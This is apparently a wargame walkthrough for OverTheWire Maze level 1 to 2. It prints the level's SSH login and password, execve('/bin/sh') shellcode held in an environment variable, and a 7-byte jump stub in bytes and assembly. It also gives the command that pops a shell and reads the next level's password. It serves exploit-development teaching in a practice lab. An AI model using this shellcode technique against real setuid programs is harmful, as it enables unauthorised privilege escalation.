OverTheWire Maze Level 1 → 2 tutorial!!
Login
Use the password from Level 1:
ssh maze1@maze.labs.overthewire.org -p 2225
# password: fooghihahr
Binary to exploit:
/maze/maze1
Task
/maze/maze1
has an 8-byte buffer and copies our argv into it, then executes the buffer as code:
char buf[8];
strncpy(buf, argv[1], 8);
/* … later … */
((void(*)(void))buf)(); // execute whatever we put in buf
Eight bytes isn’t enough for a full /bin/sh
shellcode. So we’ll put the real shellcode in an environment variable, and make a 7-byte stub in the argv buffer that jumps into that environment variable.
A little bit of Theory
- Environment variables live at stable, high memory addresses in this wargame.
- The binary’s stack is executable, so a tiny stub can
jmp
to our ENV. -
Plan:
- Put a NOP sled + execve(“/bin/sh”) shellcode in
SC
. - Find/assume the address of
SC
. - Pass a 7-byte stub in argv:
mov eax, <addr>; jmp eax
.
- Put a NOP sled + execve(“/bin/sh”) shellcode in
Solution
1) Load real shellcode into an env var
export SC=$(python -c 'print("\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80")')
\x90*100
= NOP sled.- Payload = classic 32-bit
execve("/bin/sh")
followed by clean exit.
Note: On OTW, the
SC
address was at0xffffdf0c
during testing. If it differs on your run, usegdb
on a tiny helper to printgetenv("SC")
.
2) Build a 7-byte jump stub
We assemble a tiny program that just jumps to 0xffffdf0c
:
; pwn.asm
section .text
global _start
_start:
mov eax, 0xffffdf0c
jmp eax
Assemble & link (32-bit):
nasm -f elf pwn.asm
ld -m elf_i386 -s -o pwn pwn.o
Extract the machine code (or use the bytes below directly):
\xb8\x0c\xdf\xff\xff\xff\xe0
(That’s mov eax,0xffffdf0c
→ b8 0c df ff ff
and jmp eax
→ ff e0
.)
3) Trigger the exploit
/maze/maze1 $(python -c 'print("\xb8\x0c\xdf\xff\xff\xff\xe0")')
If the address is right, you get a shell as maze1; read the next password:
cat /etc/maze_pass/maze2
# beinguthok (at the time of writing)
Troubleshooting quick tips
-
No shell / program just exits → ENV address mismatch. Use
gdb
and:(gdb) p (char*)getenv("SC") $1 = 0xffffdf0c
Re-encode the stub with the printed address (little-endian).
-m32
not found → try without it; on OTW hosts 32-bit is available.- ENV stripped? → setuid doesn’t strip arbitrary names; avoid
LD_*
vars.
Congrats 🎉 You just chained a jump stub with ENV shellcode to pop a shell and grab the maze2 password. Onward to the next level!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨